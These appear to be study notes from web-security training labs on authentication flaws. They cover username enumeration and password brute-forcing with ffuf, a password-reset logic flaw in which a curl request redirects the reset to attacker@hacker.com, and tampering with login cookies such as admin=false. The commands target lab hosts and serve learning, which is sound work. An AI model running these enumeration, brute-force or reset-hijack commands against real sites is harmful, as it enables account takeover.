Skip to main content

Authentication

Introduction​

  • Authentication is the process of verifying the identity of the user or client.
  • There are three types of Authentication
    • Something you know (Passwords, Security questions, etc). Also called knowledge factors.
    • Something you have (Mobile phone, security token, etc). Also called possession factors.
    • Something you are (Biometrics). Also called inherence factors.

Authentication vs Authorization​

  • Authentication is the process of verifying that a user is who they claim to be.
  • Authorization involves verifying whether a user is allowed to do something.

Why Authentication Vulnerabilities Arise​

  • Most authentication vulnerabilities arise due to one of the following two ways
    • Authentication mechanisms are weak and doesn't provide protection against bruteforcing.
    • Logic flaws or poor coding due to which authentication can be bypassed entirely.

Impact of Authentication Vulnerabilities​

  • Impact is often high or critical due to the fact that the account can be took over by the attacker.
  • If the account is high privileged then the whole application can be compromised.

Vulnerabilities in Password-Based login​

Bruteforce Attacks​

  • Usernames can be bruteforced on the following conditions.
    • If they conform to a specific pattern such as firstname.lastname@companyname.com.
    • If the usernames are predictable such as admin or administrator.
  • Passwords can similarly be brute-forced, with the difficulty varying based on the strength of the password.
  • Users often take a password that they can remember and try to crowbar it into fitting the password policy.
  • For example, if mypassword is not allowed, users may try something like Mypassword1! or Myp4$$w0rd instead.

Username Enumeration​

  • Username enumeration is when an attacker is able to observe changes in the website's behavior in order to identify whether a given username is valid.
  • Username enumeration typically occurs either on the login page.
  • For example, when you enter a valid username but an incorrect password, or on registration forms when you enter a username that is already taken.
  • Look for changes in the following areas to identify the usernames.
    • Status codes
    • Response text
    • Error messages
    • Response time
  • Enumerate usernames with ffuf using the below command. 
    ffuf -X POST -w usernames.txt:FUZZ -d "username=FUZZ&password=test" -u https://0a2300d70345a82482604224009f00ea.web-security-academy.net/login -H "Host:0a2300d70345a82482604224009f00ea.web-security-academy.net" -fr "Invalid username"

Enumerate Passwords​

  • Enumerate passwords with ffuf using the below command.

    ffuf -X POST -w passwords.txt:FUZZ -d "username=af&password=FUZZ" -u https://0a2300d70345a82482604224009f00ea.web-security-academy.net/login -H "Host:0a2300d70345a82482604224009f00ea.web-security-academy.net" -fc 200

  • Support website: http://10.10.129.12/customers/signup/

    ffuf -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.129.12/customers/signup -mr "username already exists"

Bruteforce Password​

  • Use the identified usernames and attempt to find the passwords.
  • If you created your valid_usernames file by piping the output from ffuf directly you may have difficulty with this task. Clean your data, or copy just the names into a new file. 
    ffuf -w valid_usernames.txt:W1,/usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.129.12/customers/login -fc 200
  • Bruteforce individual usernames. 
    ffuf -w /usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W1 -X POST -d "username=<USERNAME>&password=W1" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.129.12/customers/login -fc 200

Logic Flaws​

  • Password reset request looks like below. 
    curl 'http://10.10.129.12/customers/reset?email=robert%40acmeitsupport.thm' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert'
  • Create an account with email id attacker@hacker.com and update the curl request like below. 
    curl 'http://10.10.129.12/customers/reset?email=robert%40acmeitsupport.thm' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert&email=attacker@hacker.com'
  • Cookies are set by the web server during your online session can have multiple outcomes, such as unauthenticated access, access to another user's account, or elevated privileges.
  • Some of the examples of cookies set after successful login are
    • Set-Cookie: logged_in=true; Max-Age=3600; Path=/
    • Set-Cookie: admin=false; Max-Age=3600; Path=/
    • Set-Cookie: session=eyJpZCI6MSwiYWRtaW4iOmZhbHNlfQ==; Max-Age=3600; Path=/
  • eyJpZCI6MSwiYWRtaW4iOmZhbHNlfQ== - base64 decoded has the value of {"id":1,"admin": false}